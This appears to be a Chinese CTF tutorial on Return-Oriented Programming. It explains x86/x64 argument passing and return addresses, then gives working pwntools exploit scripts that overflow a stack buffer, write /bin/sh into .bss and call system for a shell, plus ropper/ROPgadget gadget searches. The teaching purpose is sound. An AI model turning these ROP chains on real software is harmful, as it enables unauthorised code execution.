ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
所以,首先,你的pwn题需要有一个溢出点,下面,讲解一下我对ROP的理解,仅供个人参考。

知识点

  • 1. 在32位程序中,参数是以什么形式进行传递的?
  • 2. 在64位程序中,参数是以什么形式进行传递的?
  • 3. 什么是return address?
  • 4. 怎么利用控制栈空间来达到执行程序命令?
  • 5. 32位中构造ROP
    • 思考
  • 6. 64位中构造ROP

1. 在32位程序中,参数是以什么形式进行传递的?

在32位程序中,参数传递主要通过想栈内压入值。我们来看一个例子:

#include<stdio.h>void main() {int a = 1;int b = 2;printf("sum: %d", sum(a, b));
}int sum(int a, int b) {return a + b;
}

产生的汇编语言如下

0x0804840B    lea     ecx, [esp+4]
0x0804840F    and     esp, 0FFFFFFF0h
0x08048412    push    dword ptr [ecx-4]
0x08048415    push    ebp
0x08048416    mov     ebp, esp
0x08048418    push    ecx
0x08048419    sub     esp, 14h
0x0804841C    mov     [ebp+var_10], 1  # 此处变量赋值 a
0x08048423    mov     [ebp+var_C], 2   # 此处变量赋值 b
0x0804842A    sub     esp, 8
0x0804842D    push    [ebp+var_C]  # 此处往栈中压入 b 的地址
0x08048430    push    [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433    call    sum
0x08048438    add     esp, 10h
0x0804843B    sub     esp, 8
0x0804843E    push    eax
0x0804843F    push    offset format   ; "sum: %d"
0x08048444    call    _printf
0x08048449    add     esp, 10h
0x0804844C    nop
0x0804844D    mov     ecx, [ebp+var_4]
0x08048450    leave
0x08048451    lea     esp, [ecx-4]
0x08048454    retn

32位程序中在执行sum函数时,通过观察汇编代码,我们大致可以看到程序在调用函数时,对栈进行了一系列操作。
首先,程序向栈中压入变量 b,此时的栈:

栈地址
0xffffceb4 2 # b 的值

然后,程序向栈中压入变量 a,此时的栈:

栈地址
0xffffceb0 1 # a 的值
0xffffceb4 2 # b 的值

在执行call sum的时候,相当于执行了2条指令:

push  eip
jmp   sum

栈的变化:

栈地址
0xffffceac 0x8048438 # sum的下一条指令
0xffffceb0 1 # a 的值
0xffffceb4 2 # b 的值

2. 在64位程序中,参数是以什么形式进行传递的?

我们再通过上述c代码编译成64位程序看一下汇编代码

0x400526    push    rbp
0x400527    mov     rbp, rsp
0x40052A    sub     rsp, 10h
0x40052E    mov     [rbp+var_8], 1  # 变量 a 赋值
0x400535    mov     [rbp+var_4], 2  # 变量 b 赋值
0x40053C    mov     edx, [rbp+var_4]  # 变量 b 传参
0x40053F    mov     eax, [rbp+var_8]  # 变量 a 传参
0x400542    mov     esi, edx  # 变量 b 传参
0x400544    mov     edi, eax  # 变量 a 传参
0x400546    mov     eax, 0
0x40054B    call    sum
0x400550    mov     esi, eax
0x400552    mov     edi, offset format ; "sum: %d"
0x400557    mov     eax, 0
0x40055C    call    _printf
0x400561    nop
0x400562    leave
0x400563    retn

通过上述汇编代码,我们可以发现,64位程序中,参数的赋值跟32位的区别非常大,64位程序中,我们的参数传递顺序为rdi,rsi,rdx,rcx.r8,r9

3. 什么是return address?

通过第1点中描述,在执行call sum的时候,会将sum 的下一条命令的执行地址0x8048438压入栈中,然后程序进入sum片段进行执行,此时,0x8048438地址就是sum函数的返回地址,即 return address
我们看一下sum函数的汇编程序(以32位程序为例):

0x8048455    push    ebp
0x8048456    mov     ebp, esp
0x8048458    mov     edx, [ebp+arg_0]
0x804845B    mov     eax, [ebp+arg_4]
0x804845E    add     eax, edx
0x8048460    pop     ebp
0x8048461    ret

当执行到ret时,栈空间如下

栈地址
0xffffceac 0x8048438 # sum的下一条指令
0xffffceb0 1 # a 的值
0xffffceb4 2 # b 的值

当执行完ret后,栈空间为

栈地址
0xffffceb0 1 # a 的值
0xffffceb4 2 # b 的值

程序指定的位置为:

0x0804842A    sub     esp, 8
0x0804842D    push    [ebp+var_C]
0x08048430    push    [ebp+var_10]
0x08048433    call    sum
0x08048438    add     esp, 10h # 程序执行ret后跳转到这个位置
0x0804843B    sub     esp, 8
0x0804843E    push    eax

4. 怎么利用控制栈空间来达到执行程序命令?

通过 1,2,3 这几个知识点的案例,我们已经大致能够了解在程序执行过程中,栈空间的变化,那么接下来,我们研究一下如何用ROP技术,来获取flag。
我们看一道例题。
检查保护机制,没有特别的障碍。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

以下代码通过IDA反编译,以32为程序举例:

int __cdecl main()
{init();return pwnme();
}int pwnme()
{char buf; // [esp+4h] [ebp-44h]puts("pwd : ");read(0, &buf, 0x100u);// gets(&buf); 64为程序中用的是getsif ( strcmp(&buf, "1qazcde3") ){puts("NO FUNCTION");exit(0);}return puts("DONE!");
}

通过代码审计,我们可以很明显看出这是一道栈溢出的漏洞。
怎么看出来的?因为gets函数不会限制你输入的长度,所以很容易溢出到return address。

  1. 寻找函数表,发现存在system函数
  2. 寻找字符串表,未发现 /bin/sh 相关字符串
  3. 如果没有 /bin/sh,那么我们就构造一个 /bin/sh
  4. 通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。
  5. 我们通过构造字符串,绕过 1qazcde3 判断,让程序成功运行到 return address。

我们的ROP链设计如下:
“1qazcde3\x00” + 补齐字符串 + 覆盖return address 为 gets/read 地址 + 传入bss地址进行赋值 + 将bss作为参数 + 调用 system 函数。

接下来我们看看在32位和64位程序中,如果去构造上述的ROP链。

5. 32位中构造ROP

这里我们需要用到read,提供的代码中没有get,话不多说,亮代码:

from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
# p32(0) 为system执行后的return address,永远用不到
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(system_addr) + p32(0)  + p32(bss_addr) + p32(256)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()

这里需要解释一下p32(read_addr) + p32(system_addr) + p32(0) + p32(bss_addr) + p32(256)为什么如此构造。

read_addrpwnme 函数执行结束后的返回地址,而这里的read_addr指向的是plt表,在执行plt表所指向的read_addr函数时,stack中的数展现如下:

stack 作用
system_addr read执行完成后的return address
p32(0) read函数的第1个参数 unsigned int fd
p32(bss_addr) read函数的第2个参数 char *buf
p32(255) read函数的第3个参数 size_t count

这样的栈结构相当于,执行了read(0, bss_addr, 255)后,重新跳转到system_addr,而跳转到system_addr后,stack如下:

stack 作用
p32(0) system函数的return address
p32(bss_addr) system函数的第1个参数 char *buf
p32(255) 用不到

也就是说,read结束后,程序走到了system的plt中去执行程序,而此时将bbs_addr当做参数传给了system,相当于执行了system(bss_addr)

由于bbs_addr已经被我们写入了/bin/sh,此时system函数调用时将会给我们返回一个shell,所以systemreturn address是什么并不重要。

思考

上面 system/bin/sh参数只是恰好把 read指令的参数作为自己的参数,而实现了get shell,如果运气没那么欧怎么办?

没关系,我们来看看另一种通用的实现方式,打开ropper工具,查看文件的指令

ropper -f pwn_rop1

仔细找找灵感

没错,我们可以利用pop指令,实现对栈的清除,已知 read 函数用到了3个参数,那么,这里我们就采用 3 个pop的0x080486b9: pop esi; pop edi; pop ebp; ret;

于是,修改代码如下:

from pwn import *
context.log_level='debug'
p=process('./pwn_rop1')
read_addr=0x8048410
system_addr=0x8048430
bss_addr=0x0804A060
rop_pop3=0x080486b9
payload="1qazcde3\x00".ljust(68, 'a')+'b'*4 + p32(read_addr) + p32(rop_pop3) # 清空read的3各参数+ p32(0)  + p32(bss_addr) + p32(256) + p32(system_addr)+p32(0)+p32(bss_addr)
p.recvuntil("pwd : \n")
#gdb.attach(p,"b *0x080485CF")
p.sendline(payload)
p.recvuntil("DONE!\n")
# 此处要给上面调用的read函数传递内容
p.sendline("/bin/sh\x00")
p.interactive()

成功 get shell !

6. 64位中构造ROP

from pwn import *
context.log_level="debug"
p=process("./pwn_rop2")
elf=ELF("./pwn_rop2")
gets=elf.plt["gets"]
bss=0x601060
system=elf.plt["system"]
pop_rdi=0x400883
p.recvuntil("pwd : \n")
#pause()
#gdb.attach(p,"b *0x4007A7")
#raw_input()
#p32(gets)+p32(system)+p32(bss)+p32(bss)
payload="1qazcde3\x00".ljust(64,"1")+'a'*8+p64(pop_rdi)+p64(bss)+p64(gets)+p64(pop_rdi)+p64(bss)+p64(system)
p.sendline(payload)
p.recvuntil("DONE!\n")
p.sendline("/bin/sh\x00")
p.interactive()

在64位payload构造中,由于参数传递的方式不同,gets的第一个参数为RDI,所以,我们需要在程序中要到这样一个片段,为我们的gets函数传递参数。

pop rdi; ret;

在系统中我们也可以通过 ROPgadget 工具,寻找 pwn_rop2 中可以利用的片段(和ropper差不多)。具体使用方式如下:

ROPgadget --binary pwn_rop2 | grep "pop rdi"

程序返回如下内容

0x0000000000400883 : pop rdi ; ret

x64相较于上面的x86会更加直观更好理解。


以下是相关题目内容,大家可以回去实验一下,通过gdb进行观察各个寄存器和栈空间的变化,来巩固学习。

pwn_rop1
pwn_rop2
pwn_rop3 x86的gets版本,欢迎大家自己动手尝试

pwn学习资料整理——ROP技术相关推荐

  1. PWN学习资料整理——(二)基础

    在PWN中,永远离不开汇编,包括汇编指令,寄存器等 目录 1. 大小端模式 大端模式 小端模式 2. 寄存器 通用寄存器 标志寄存器 段寄存器 3. 内存 4. 堆栈 5. 函数调用约定 x86下函数 ...

  2. 深度学习资料整理(软件资源)

    近这两年里deep learning技术在图像识别和跟踪等方面有很大的突破,是一大研究热点,里面涉及的数学理论和应用技术很值得深入研究,这系列博客总结了深度学习的博客,原理等资料,供大家学习讨论. 一 ...

  3. 信息学竞赛学习资料整理

    信息学竞赛学习资料整理 一.总结 一句话总结:可以在网上获取各种免费视频资源,网上超多,也可以买书,也可以去刷题网站多做题 1.信息学竞赛书籍推荐? 信息学竞赛一本通 算法导论 组合数学 <CC ...

  4. Go语言学习资料整理

    整理网上找到的Golang语言学习资料 基础 基础教程 书籍在线版 Go 指南-A Tour of Go Go语言圣经(中文版) Effective Go中文版 Go Web编程 build-web- ...

  5. 人工智能、机器学习、深度学习从入门到进阶学习资料整理

    最近整理了下在这里分享给大家,欢迎大家点赞收藏. 学习社区 神力AI(MANA):国内最大的AI代码平台. Learn AI:一个AI学习交流中心. AI研习社:一个专注于AI开发者和学术青年求知求职 ...

  6. (汇总篇)语义SLAM相关开源方案| 全球优秀作者与实验室 | SLAM学习资料整理

    目录 1 开源方案 1.1 Geometric SLAM (26项) 1. PTAM 2. S-PTAM(双目 PTAM) 3. MonoSLAM 4. ORB-SLAM2 5. DSO 6. LDS ...

  7. 人工智能、机器学习、深度学习学习资料整理(开发必备)

    最近整理了下AI方面的学习资料,包含了学习社区.入门教程.汲取学习.深度学习.自然语言处理.计算机视觉.数据分析.面试和书籍等方面的知识.在这里分享给大家,欢迎大家点赞收藏. 学习社区 神力AI(MA ...

  8. 程序员优秀学习资料整理(不断更新中)

    如果你发现自己陷入各种新技术.工具包围中,而纠结于该选择哪些学习,读读这篇文章,技术的执念. 综合资源 资源链接汇集 awesome - 各种主流语言的优秀项目汇集 :+1: lists - 资源集合 ...

  9. Web 前端开发学习资料整理

    以前学习过一段时间的web前端开发,整理了一些我看过的/我认为比较好的学习资料(网站.书籍).我只是闲来无事整理一下,如有不足,嘴下留情..毕竟分享不是一件坏事,共同学习... 一. 语言基础(以书和 ...

最新文章

  1. mysql grant %_MySQL的Grant命令详解
  2. aix 安装oracle9,IBM P570 小型机AIX5.3系统安装ORACLE9i
  3. 学习、掌握运营岗位必备的基本能力和思维
  4. 是介于小型机和微型计算机,第一章计算机基础解析.ppt
  5. 软件工程学习进度第六周暨暑期学习进度之第六周汇总
  6. React实现类似淘宝tab居中切换效果
  7. 最好用的资源管理器软件——Directory Opus
  8. python安装模块方法_Python模块安装方法
  9. 这三个究极骚气的炫酷底部导航栏,只有经常逛GitHub划水的人才知道!
  10. 去除MacBook屏幕下方的白条
  11. 皮肤黄吃什么可以变白?店湾妹来教你几招!
  12. andorid自动化测试之Monkey(上)
  13. 51虚拟安卓系统v1.1.0.6-安卓端的虚拟机(支持root,xposed框架)
  14. Java基于JSP的论坛交流系统
  15. 海洋沉积物样品粒度分析
  16. 面试时该如何反问面试官问题?
  17. 自然语言处理核心期刊_中文自然语言处理的关键技术.ppt(1.63MB)-NLPIR.ppt
  18. 北理工乐学C语言 47. 【大学】北理工的恶龙
  19. centos 7 opencv3 安装——yyw合并
  20. 工控机的io开发_C#调用工控机dll文件,实现对IO的控制

热门文章

  1. 自动化运维-ELK搭建
  2. NGUI血条制作及血条跟随角色目标
  3. Java:100以内减法练习程序!
  4. matlab 显示图像 画布太大,canvas画图被放大且模糊的解决方法
  5. Fast and Scalable Adversarial Training of Kernel SVM via Doubly Stochastic Gradients
  6. [信号处理小结系列1]信号和信息
  7. 集线器、交换机、路由器、网桥、网关
  8. 150个常用的Linux命令汇总
  9. [线段树][单调栈] BZOJ 4527 CF 407E: K-D-Sequence
  10. swf 加密:采用byteArray 方式,增加字符串加密,可加密大文件swf